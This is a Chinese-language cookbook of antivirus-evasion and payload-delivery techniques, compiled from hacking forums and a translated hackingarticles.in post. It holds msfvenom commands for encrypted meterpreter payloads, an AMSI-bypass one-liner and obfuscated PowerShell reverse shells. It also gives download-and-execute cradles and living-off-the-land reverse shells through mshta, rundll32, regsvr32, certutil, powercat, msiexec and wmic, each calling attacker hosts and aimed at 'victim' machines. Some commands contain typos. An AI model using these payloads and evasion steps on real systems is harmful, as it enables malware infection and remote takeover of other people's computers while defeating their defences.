免杀技术
dll 免杀
dll nc 免杀版本
1 | // dllmain.cpp : 定义 DLL 应用程序的入口点。 |
服务端免杀:
https://www.t00ls.net/viewthread.php?tid=46304&highlight=nc
custom_command_dll
自定义命令的dll
最近在测试一个项目的时候,远程代理回来搞内网,使用永恒之蓝打内网好不方便,用之前坛子里的nc.dll也不行,毕竟是代理,不好用nc反弹。于是有自定义命令的dll,那将方便很多。
成品
custom_dll.exe,支持32和64位dll的生成,其实32的在64位的系统也能运行,为什么还要64位的呢??因为NSA的rundll模块需要匹配位数的。工具是交互式输出的,不多说了,来几张图:
运行个任务管理器:
种个远控木马,用msf或者cobalt strike:
http://192.168.1.105:8080/test.txt
1 | <script language="VBScript"> |
然后生成的时候command写:
1 | mshta http://192.168.1.105:8080/test.txt |
来源:https://www.t00ls.net/thread-44032-1-1.html
总结
下载文件的dll
1 | msfvenom -p windows/exec CMD="certutil -urlcache -split -f http://xxx.xxx.xxx.xxx/xxx.exec:\xxx.exe” -f dll>/root/s.dll |
生成一个让目标机下载文件的dll,也可以用bitsadmin。然后上控或者传nc之类的反弹shell回来
加密
(加密是一种能够有效反击反病毒软件静态扫描功能的方法,因为AV引擎不能立刻爆破它。目前,这有一些msfvenom支持的加密算法保护你的shellcode:AES256-CBC,RC4,Base64,和XOR。)
①. reverse_tcp_rc4
1 | ./msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=外网ip lport=5555 RC4PASSWORD=Wh0ale -f exe >/tmp/rc5.exe |
②. encrypt-key
1 | ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=外网ip LPORT=5555 --encrypt rc4 --encrypt-key Wh0ale -f exe > /tmp/rc6.exe |
③. bind_tcp
1 | ./msfvenom -p windows/meterpreter/bind_tcp LHOST=外网ip LPORT=443 --encrypt rc4 --encrypt-key Wh0ale -f exe > /tmp/rc1.exe |
④. --encrypt-iv
1 | ./msfvenom -p windows/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST-外网ip LPORT=443 RC4PASSWORD=GeekIsChic --encrypt aes256 --encrypt-iv E7a0eCX76F0YzS4j --encrypt-key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR -f exe -o /tmp/meterpreter.exe |
HTTPS
①
1 | msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.200 lport=443 -f c |
②
1 | msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m -f c |
dns_txt
https://www.360zhijia.com/360anquanke/353428.html
动态注入
①. veil
Veil是一种可以生成带有Metasploit载荷的后门工具,可以绕过部分杀软的防御,软件本身一直在更新。
②. Shellter
Shellter采用了动态Shellcode注入来实现免杀的效果,当用户打开被植入后门的软件时,只有触发一定的操作才会启动后门。
③. Avet
git clone https://github.com/govolution/avet
安装完毕后,找到自己想要生成的后门载荷,切到/avet/build/目录下打开相应的.sh文件对LHOST和LPORT进行修改。
第三方分离免杀
payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载到内存中。避免行为:
1 | msfvenom -pwindows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=8080 -ex86/shikata_ga_nai -i 5 -f raw > test.c |
shellcode方式的payload,那么需要借助第三方来启动,加载到内存。
https://github.com/clinicallyinane/shellcode_launcher/
Reference:
免杀技术有一套(免杀方法大集结)(Anti-AntiVirus)
bypass_360
AMSI_bypass
1.生成shellcode放入apache服务器中
1 | msfvenom -a x64 -plateform windows -p windows/x64/meterpreter/reverse_tcp lhost=118.25.69.199 lport=4444 -f psh -o shellcode.txt |
2.msfconsole开始监听
1 | msf > use exploit/multi/handler |
3.在目标机器执行powershell
1 | [ScriptBlock]."Get`Fiel`d"('signatures','N'+'onPublic,Static').SetValue($NULL,(New-Object Collections.Generic.HashSet[string])); |
4.拿到shell
Invoke-Obfuscation.psd1
1 | Import-Module ./Invoke-Obfuscation.psd1 |
1 | Invoke-Obfuscation> set ScriptBlock ls Invoke-Obfuscation> ENCODING |
生成混淆payload:
1 | Invoke-Obfuscation> set ScriptBlock . F:\Privilege\nishang-master\Shells\Invoke-PowerShellTcp.ps1; Invoke-PowerShellTcp -Reverse -IPAddres 192.168.211.179 -Port 4444 |
编码后如下:
1 | & ( $eNV:ComsPec[4,15,25]-JOin'')(( '73T65T74{20!53J63!72Z69J70y74y42w6cT6fy63{6bJ20Z2e;20w46{3aT5cw50!72y69;76w69J6c;65!67{65;5cJ6e!69Z73J68;61w6eZ67!2d;6dy61T73;74J65;72T5cJ53Z68J65w6c!6cT73T5c{49J6ew76y6fy6b{65w2dZ50!6f{77w65T72J53y68;65T6cw6cT54y63!70w2e!70Z73{31{3b{20{49J6e!76Z6fy6bT65T2dJ50w6f!77!65;72;53!68J65y6cw6cZ54T63!70!20;2dJ52J65w76Z65y72w73w65!20!2d;49Z50T41T64J64!72w65T73T20{31;31;38J2ey32J35{2e;36{39!2e;31w39Z39!20Z2d!50!6fT72!74{20T34J34J34Z34' -spLiT'J'-SPlIt';' -spLIt'!'-SPlIT'y' -SPliT '{' -SPLIt 'w' -SPLIT 'T' -Split'Z'|%{([chAr] ([CoNVerT]::toiNt16(( $_.TOstRiNg()),16 ) ))}) -JOiN'') |
stager.dll-master
meterpreter.rc
启动msf5
1 | ./msfconsole -r ./stager.dll -master/meterpreter.rc |
生成payload:
1 | ./msfvenom -p windows/meterpreter/reverse_tcp_rc4 EXIT_FUNC=PROCESS LHOST-192.168.211.179 LPORT=443 RC4PASSWORD=GeekIsChic --encrypt aes256 --encrypt-iv E7a0eCX76F0YzS4j --encrypt-key 6ASMkFslyhwXehNZw048cF1Vh1ACzyyR -f c -o /tmp/meterpreter.c |
生成exp:
靶机执行
1 | rundll32 stager.dll,Exec |
②dll放入服务器
1 | $file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://192.168.211.179/Privilege/stager.dll',$file); $exec = New-Object -com shell.application; $exec.shellexecute('rundll32',$file+',Exec'); |
powershell混淆
1 | cd Invoke-Obfuscation && powershell -exec bypass -c "Import-Module ./Invoke-Obfuscation.psd1;Invoke-Obfuscation" |
混淆这条命令
1 | $file = $env:temp+'\'+(Get-Random)+'.dll'; (New-Object System.Net.WebClient).DownloadFile('http://外网ip/stager.dll',$file); $exec = New-Object -com shell.application; $exec.shellexecute('rundll32',$file+',Exec'); |
然后再对方主机powershell执行
由此可以免杀
https://github.com/phackt/stager.dll
reference:
http://www.secist.com/archives/7195.html?tdsourcetag=s_pctim_aiomsg
求助] Apache 2.2.14 mod_isapi Dangling Pointer漏洞用法
bypass_uac
这几天看到的bypass 方法比较多,趁今天有空做个总结
cmstp.exe作为绕过UAC
利用microsoft的 “cmstp.exe”作为绕过UAC
其主要原理采用c#生成带有dll反射的的powershell脚本,amsi检测不到
关于amsi的文章参考:
这里的文件编译号生成为dll文件
执行即可弹出administrator的命令行
另附自动化脚本放在附件里
这里看到与表哥复现
通过远程iex下载我们的执行命令脚本
生成一个直接执行命令的exe
①
1 | powershell iex (New-Object Net.WebClient).DownloadString('http://InvokePowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.] |
②
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.211.179:80/a'))" |
但是如何修改代码生成可执行命令的exe和脚本,还没弄懂 有时间大佬可以研究研究
DKMC
使用方法:
(gen) Generate a malicious BMP image //创建一张恶意BMP格式的图片
(web) Start a web server and deliver malicious image //启动web服务(内置)并传送恶意图片
(ps) Generate Powershell payload //创建Powershell 有效载荷
(sc) Generate shellcode from raw file //从原始文件生成shellcode
(exit) Quit the application //退出
生成shellcode kali ip: 192.168.0.107
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=9999 -f raw > /opt/shellcode |
DKMC生成shellcode
这个之前尝试是可以弹shell的,今天不知道为啥不行…..我改天再试试看,原理就是把shellcode放入bmp文件中
get-reverse-shell
表中的内容
Mshta.exe
- 通过Metasploit的HTA Web Server启动HTA攻击
RUNDLL32.EXE
- 通过SMB交付Metasploit启动Rundll32攻击
Regsvr32.exe
- 通过Metasploit的脚本Web交付启动Regsvr32
Certutil.exe
- 通过Msfvenom C#shellcode启动MSbuild攻击
Powershell.exe
- 通过Powershell启动Powercat攻击
- 通过Powershell启动cscript.exe
- 通过Powershell启动批处理文件攻击
msiexec.exe
- 通过msfvenom启动msiexec攻击
Wmic.exe
- 通过Koadic发起Wmic.exe攻击
Mshta.exe
Mshta.exe运行Microsoft HTML应用程序主机,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。您可以使用Microsoft MSHTA.exe工具解释这些文件。
Metasploit包含“HTA Web Server”模块,可生成恶意hta文件。此模块托管HTML应用程序(HTA),打开时将通过Powershell运行有效负载。当用户导航到HTA文件时,在执行有效负载之前,IE将提示他们两次。
1 | use exploit/windows/misc/hta_server |
现在通过受害者计算机上的mshta.exe(易受RCE攻击)运行恶意代码以获取计时器会话。
一旦您在mshta.exe的帮助下在远程计算机上执行恶意hta文件,您将在本地计算机(Kali Linux)上获得反向连接。
1 | mshta.exe http://192.168.1.109:8080/5EEiDSd70ET0k.hta |
您可以观察到,我们有受害者的计时器会话,如下所示:
RUNDLL32.EXE
Rundll32.exe与Windows操作系统相关联,允许您调用从DLL导出的函数(16位或32位)并将其存储在适当的内存库中。
通过SMB交付Metasploit启动Rundll32攻击
Metasploit还包含“SMB Delivery”模块,可生成恶意dll文件。该模块通过SMB服务器提供有效负载,并提供检索和执行生成的有效负载的命令。目前支持DLL和Powershell。
1 | use exploit/windows/smb/smb_delivery |
现在通过受害计算机上的rundll32.exe运行恶意代码(易受RCE攻击)以获取计时器会话。
一旦您在rundll32.exe的帮助下在远程计算机上执行dll文件,您将在本地计算机(Kali Linux)上获得反向连接。
1 | rundll3.exe \\192.168.1.109\vabFG\test.dll,0 |
您可以观察到,我们有受害者的计时器会话,如下所示:
Regsvr32.exe
Regsvr32是一个命令行实用程序,用于注册和取消注册OLE控件,例如Windows注册表中的DLL和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\ System32文件夹中。
RegSvr32.exe具有以下命令行选项:
语法:Regsvr32 [/ s] [/ u] [/ n] [/ i [:cmdline]] dllname
/ u - 取消注册server
/ i - 调用DllInstall传递一个可选的[cmdline]; 当它与/ u一起使用时,它调用dll uninstall
/ n - 不要调用DllRegisterServer; 此选项必须与/ i
/ s一起使用 - 无声; 不显示消息框
通过Metasploit的脚本Web交付启动Regsvr32
该模块可以快速启动为有效负载提供服务的Web服务器。提供的命令将允许有效负载下载和执行。它将通过regsvr32.exe指定脚本语言解释器或“squiblydoo”来绕过应用程序白名单。此模块的主要目的是在攻击者必须手动输入命令时快速在目标计算机上建立会话:例如命令注入。
Regsvr32使用“squiblydoo”技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32能够请求.sct文件,然后在其中执行包含的PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上发生。“PSH(Binary)”会将文件写入磁盘,允许自定义二进制文件被下载/执行。
1 | use exploit/multi/script/web_delivery |
复制下面窗口中显示的突出显示的文本
在regsrv32.exe的帮助下,您将在远程计算机上执行scrobj.dll文件,您将在本地计算机(Kali Linux)上获得反向连接。
1 | regsvr32 /s /n /u /i:http://192.168.1.109:8080/xt5dIF.sct scrobj.dll |
您可以观察到,我们有受害者的计时器会话,如下所示:
Certutil.exe
Certutil.exe是一个命令行程序,作为证书服务的一部分安装。我们可以使用此工具在目标计算机上执行我们的恶意exe文件以获取meterpreter会话。
通过Msfvenom启动certutil攻击
使用msfvenom生成恶意可执行(.exe)文件并启动multi / handler以获取受害者计算机的反向shell。
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe |
现在,为了使用certutil转储shell.exe文件的配置信息或文件,您可以按照以下systax:
语法:[ - f] [-urlcache] [-split]可执行文件的路径
1 | certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe |
1 | use exploit/multi/handler |
您可以观察到,我们有受害者的计时器会话,如下所示:
Powershell.exe
您可以使用PowerShell.exe从其他工具(如Cmd.exe)的命令行启动PowerShell会话,或者在PowerShell命令行中使用它来启动新会话。从这里阅读Microsoft Windows官方网站上的更多内容。
通过Powershell启动Powercat攻击
Powercat是一个PowerShell本机后门监听器和反向shell,也称为netcat的修改版本,因为它集成了对生成编码有效负载的支持,msfvenom会这样做,并且还有一个客户端到客户端中继,这是Powercat客户端的一个术语。允许连接两个独立的侦听器。
在本地机器上下载powershell,然后使用python http服务器下载powercat.ps1传输文件以获取目标的反向shell,如下所示,并启动netcat listener。
1 | git clone https://github.com/besimorhino/powercat.git |
然后在远程端执行以下命令以获取natcat会话。
1 | powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd" |
你可以观察到,我们有受害者的netcat会话,如下所示:
批处理文件
同样,powershell允许客户端执行bat文件,因此让我们使用msfvenom生成恶意bat文件,如下所示,并启动netcat监听器。
1 | msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat |
然后在远程端执行以下命令以获取natcat会话。
1 | powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat')) |
你可以观察到,我们有受害者的netcat会话,如下所示:
CSCRIPT
同样,powershell允许客户端执行cscript.exe来运行wsf,js和vbs脚本,因此让我们使用msfvenom生成恶意bat文件,如下所示,并启动multi / handler作为监听器。
1 | msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs > 1.vbs |
然后在远程端执行以下命令以获取meterpreter会话。
1 | powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" |
1 | use exploit/multi/handler |
您可以观察到,我们有受害者的计时器会话,如下所示:
msiexec.exe
我们都知道Windows操作系统安装了Windows Installer引擎,MSI软件包 使用该引擎来 安装应用程序。解释包和安装产品的可执行程序是Msiexec.exe。
通过msfvenom启动msiexec攻击
让我们使用Windows Meterpreter有效负载生成一个MSI包文件(1.msi),如下所示,并启动multi / handler作为监听器。
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f msi > 1.msi |
一旦您在msiexec的帮助下在远程计算机上执行1.msi文件,您将在本地计算机(Kali Linux)上获得反向连接。
1 | msiexec /q /i http://192.168.1.109/1.msi |
1 | use exploit/multi/handler |
您可以观察到,我们有受害者的计时器会话,如下所示:
Wmic.exe
WMIC实用程序是Microsoft工具,提供WMI命令行界面,用于本地和远程计算机的各种管理功能,还用于本地或远程的系统设置,停止进程和执行脚本等wmic查询。因此,它可以调用XSL脚本(可扩展样式表语言)。
通过Koadic发起Wmic.exe攻击
现在将在koadic的帮助下生成恶意XSL文件,这是一个命令和控制工具,与Metasploit和Powershell Empire非常相似。
要了解koadic如何工作,请阅读我们的文章:https://www.hackingarticles.in/koadic-com-command-control-framework/
安装完成后,您可以运行 ./koadic 文件以启动koadic并开始加载sta / js / wmic stager,方法是运行以下命令并设置SRVHOST,其中stager应该调用home。
1 | use stager/js/wmic |
执行WMIC以下命令从远程服务器下载并运行恶意XSL文件:
1 | wmic os get /FORMAT:"http://192.168.1.107:9996/g8gkv.xsl" |
一旦恶意XSL文件在目标机器上执行,您就会 像metasploit一样拥有 Zombie连接。
本文翻译自 hackingarticles.in, 原文链接 。如若转载请注明出处。
reference:
http://www.secist.com/archives/7195.html?tdsourcetag=s_pctim_aiomsg